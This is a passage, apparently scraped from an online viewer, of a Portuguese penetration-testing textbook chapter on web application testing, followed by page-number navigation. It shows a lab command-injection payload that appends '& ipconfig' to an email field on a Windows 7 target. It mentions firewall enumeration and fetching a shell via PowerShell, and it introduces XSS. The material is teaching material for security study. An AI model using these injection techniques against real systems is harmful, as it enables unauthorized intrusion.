Achamos que o endere\u00e7o de email inserido \u00e9 fornecido a um comando do sistema para que um diret\u00f3rio seja criado na pasta newsletters. Se o desenvolvedor n\u00e3o sanitizar adequadamente os dados de entrada do usu\u00e1rio, poderemos executar comandos adicionais usando o s\u00edmbolo de ampersand (&, ou E comercial). Executaremos um comando e enviaremos sua sa\u00edda para um arquivo no diret\u00f3- rio C:\\\\inetpub\\\\wwwroot\\\\Book\\\\ de nossa aplica\u00e7\u00e3o e, em seguida, acessaremos os arquivos diretamente para ver o resultado do comando. Execute o comando ip- config no alvo Windows 7 como mostrado aqui, de modo a fazer o pipe da sa\u00edda de um comando de sistema como o ipconfig para o arquivo test.txt no diret\u00f3rio Book. [email protected] & ipconfig > C:\\\\inetpub\\\\wwwroot\\\\Book\\\\test.txt","400 Testes de invas\u00e3o Quando navegarmos para http:\/\/192.168.20.12\/bookservice\/test.txt, veremos a sa\u00edda do nosso comando ipconfig, conforme mostrado na figura 14.19. Figura 14.19 \u2013 Resultado da execu\u00e7\u00e3o do comando. Estaremos limitados aos privil\u00e9gios do usu\u00e1rio IIS (Internet Information Services). Infelizmente para n\u00f3s, a aplica\u00e7\u00e3o Microsoft IIS nos sistemas Windows 7 executa como uma conta separada, sem todos os privil\u00e9gios de um usu\u00e1rio de sistema: um cen\u00e1rio melhor quanto \u00e0 seguran\u00e7a para o desenvolvedor, por\u00e9m mais desa- fiador para n\u00f3s. Embora n\u00e3o tenhamos acesso completo, poderemos coletar muitas informa\u00e7\u00f5es sobre o sistema por meio do acesso obtido. Por exemplo, podemos usar o comando dir para encontrar arquivos interessantes, ou o comando netsh advfirewall firewall show rule name=all para ver as regras do firewall do Windows. Como estamos em um sistema Windows, n\u00e3o podemos usar wget a partir da linha de comando para obter um shell interativo, por\u00e9m podemos usar diversos m\u00e9to- dos diferentes para fazer isso. No cap\u00edtulo 8, usamos o TFTP para transferir um shell de nosso sistema Kali para o alvo Windows XP. O Windows 7 n\u00e3o tem um cliente TFTP instalado por padr\u00e3o, por\u00e9m, no Windows 7, temos uma linguagem de scripting eficaz chamada Powershell, que pode ser usada para tarefas como efetuar o download e executar um arquivo.","Cap\u00edtulo 14 \u25a0 Testes em aplica\u00e7\u00f5es web 401 N O T A \tUm estudo do Powershell est\u00e1 fora do escopo deste livro, mas ele \u00e9 muito \u00fatil para a p\u00f3s-explora\u00e7\u00e3o de falhas nos sistemas operacionais Windows mais recentes. Uma boa refer\u00eancia pode ser encontrada em: http:\/\/www.darkoperator.com\/powershellbasics\/. Cross-site Scripting Talvez a vulnerabilidade de seguran\u00e7a de aplica\u00e7\u00f5es web mais comum e mais discutida seja o XSS (Cross-site Scripting). Quando esse tipo de vulnerabilidade est\u00e1 presente, os invasores podem injetar scripts maliciosos em um site in\u00f3cuo, para serem executados no navegador do usu\u00e1rio. Os ataques XSS normalmente dividem-se em duas categorias: armazenados (sto- red) e refletidos (reflected). Os ataques de XSS armazenado s\u00e3o armazenados no servidor e executados sempre que um usu\u00e1rio acessar a p\u00e1gina em que o script estiver armazenado. F\u00f3runs de usu\u00e1rios, avalia\u00e7\u00f5es e outros locais em que os usu\u00e1rios podem salvar dados apresentados a outros usu\u00e1rios s\u00e3o lugares ideais para esse tipo de ataque. Os ataques de XSS refletido n\u00e3o ficam armazenados no servidor, mas s\u00e3o criados ao enviar solicita\u00e7\u00f5es com o pr\u00f3prio ataque XSS. Os ataques ocorrem quando dados do usu\u00e1rio s\u00e3o inclu\u00eddos na resposta do servidor, por exemplo, em mensagens de erro ou em resultados de pesquisa. Os ataques de XSS refletido dependem de um usu\u00e1rio enviar uma solicita\u00e7\u00e3o com o ataque XSS inclu\u00eddo, portanto \u00e9 prov\u00e1vel que haja tamb\u00e9m algum tipo de componente de engenharia social no ataque. Com efeito, usar o XSS pode aumentar o sucesso de um ataque de engenharia social, pois voc\u00ea pode compor um URL que seja parte de um site de verdade \u2013 um site que o usu\u00e1rio conhe\u00e7a e em que ele confie \u2013 e usar o XSS, por exemplo, para redirecionar o usu\u00e1rio a uma p\u00e1gina maliciosa. Como em outros ataques discutidos neste cap\u00edtulo, os ataques XSS contam com a falta de sanitiza\u00e7\u00e3o dos dados de entrada dos usu\u00e1rios, o que nos permite criar e executar um script malicioso. Verificando a exist\u00eancia de uma vulnerabilidade de XSS refletido Devemos verificar qualquer dado de entrada do usu\u00e1rio \u00e0 procura de vulnerabili- dades de XSS. Descobriremos que nossa aplica\u00e7\u00e3o apresenta uma vulnerabilidade de XSS refletido na funcionalidade de pesquisa. Experimente procurar o t\u00edtulo xss na caixa Books Search (Pesquisar livros), como mostrado na figura 14.20."]
Search
Read the Text Version
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
- 75
- 76
- 77
- 78
- 79
- 80
- 81
- 82
- 83
- 84
- 85
- 86
- 87
- 88
- 89
- 90
- 91
- 92
- 93
- 94
- 95
- 96
- 97
- 98
- 99
- 100
- 101
- 102
- 103
- 104
- 105
- 106
- 107
- 108
- 109
- 110
- 111
- 112
- 113
- 114
- 115
- 116
- 117
- 118
- 119
- 120
- 121
- 122
- 123
- 124
- 125
- 126
- 127
- 128
- 129
- 130
- 131
- 132
- 133
- 134
- 135
- 136
- 137
- 138
- 139
- 140
- 141
- 142
- 143
- 144
- 145
- 146
- 147
- 148
- 149
- 150
- 151
- 152
- 153
- 154
- 155
- 156
- 157
- 158
- 159
- 160
- 161
- 162
- 163
- 164
- 165
- 166
- 167
- 168
- 169
- 170
- 171
- 172
- 173
- 174
- 175
- 176
- 177
- 178
- 179
- 180
- 181
- 182
- 183
- 184
- 185
- 186
- 187
- 188
- 189
- 190
- 191
- 192
- 193
- 194
- 195
- 196
- 197
- 198
- 199
- 200
- 201
- 202
- 203
- 204
- 205
- 206
- 207
- 208
- 209
- 210
- 211
- 212
- 213
- 214
- 215
- 216
- 217
- 218
- 219
- 220
- 221
- 222
- 223
- 224
- 225
- 226
- 227
- 228
- 229
- 230
- 231
- 232
- 233
- 234
- 235
- 236
- 237
- 238
- 239
- 240
- 241
- 242
- 243
- 244
- 245
- 246
- 247
- 248
- 249
- 250
- 251
- 252
- 253
- 254
- 255
- 256
- 257
- 258
- 259
- 260
- 261
- 262
- 263
- 264
- 265
- 266
- 267
- 268
- 269
- 270
- 271
- 272
- 273
- 274
- 275
- 276
- 277
- 278
- 279
- 280
- 281
- 282
- 283
- 284
- 285
- 286
- 287
- 288
- 289
- 290
- 291
- 292
- 293
- 294
- 295
- 296
- 297
- 298
- 299
- 300
- 301
- 302
- 303
- 304
- 305
- 306
- 307
- 308
- 309
- 310
- 311
- 312
- 313
- 314
- 315
- 316
- 317
- 318
- 319
- 320
- 321
- 322
- 323
- 324
- 325
- 326
- 327
- 328
- 329
- 330
- 331
- 332
- 333
- 334
- 335
- 336
- 337
- 338
- 339
- 340
- 341
- 342
- 343
- 344
- 345
- 346
- 347
- 348
- 349
- 350
- 351
- 352
- 353
- 354
- 355
- 356
- 357
- 358
- 359
- 360
- 361
- 362
- 363
- 364
- 365
- 366
- 367
- 368
- 369
- 370
- 371
- 372
- 373
- 374
- 375
- 376
- 377
- 378
- 379
- 380
- 381
- 382
- 383
- 384
- 385
- 386
- 387
- 388
- 389
- 390
- 391
- 392
- 393
- 394
- 395
- 396
- 397
- 398
- 399
- 400
- 401
- 402
- 403
- 404
- 405
- 406
- 407
- 408
- 409
- 410
- 411
- 412
- 413
- 414
- 415
- 416
- 417
- 418
- 419
- 420
- 421
- 422
- 423
- 424
- 425
- 426
- 427
- 428
- 429
- 430
- 431
- 432
- 433
- 434
- 435
- 436
- 437
- 438
- 439
- 440
- 441
- 442
- 443
- 444
- 445
- 446
- 447
- 448
- 449
- 450
- 451
- 452
- 453
- 454
- 455
- 456
- 457
- 458
- 459
- 460
- 461
- 462
- 463
- 464
- 465
- 466
- 467
- 468
- 469
- 470
- 471
- 472
- 473
- 474
- 475
- 476
- 477
- 478
- 479
- 480
- 481
- 482
- 483
- 484
- 485
- 486
- 487
- 488
- 489
- 490
- 491
- 492
- 493
- 494
- 495
- 496
- 497
- 498
- 499
- 500
- 501
- 502
- 503
- 504
- 505
- 506
- 507
- 508
- 509
- 510
- 511
- 512
- 513
- 514
- 515
- 516
- 517
- 518
- 519
- 520
- 521
- 522
- 523
- 524
- 525
- 526
- 527
- 528
- 529
- 530
- 531
- 532
- 533
- 534
- 535
- 536
- 537
- 538
- 539
- 540
- 541
- 542
- 543
- 544
- 545
- 546
- 547
- 548
- 549
- 550
- 551
- 552
- 553
- 554
- 555
- 556
- 557
- 558
- 559
- 560
- 561
- 562
- 563
- 564
- 565
- 566
- 567
- 568
- 569
- 570
- 571
- 572
- 573
- 574
- 575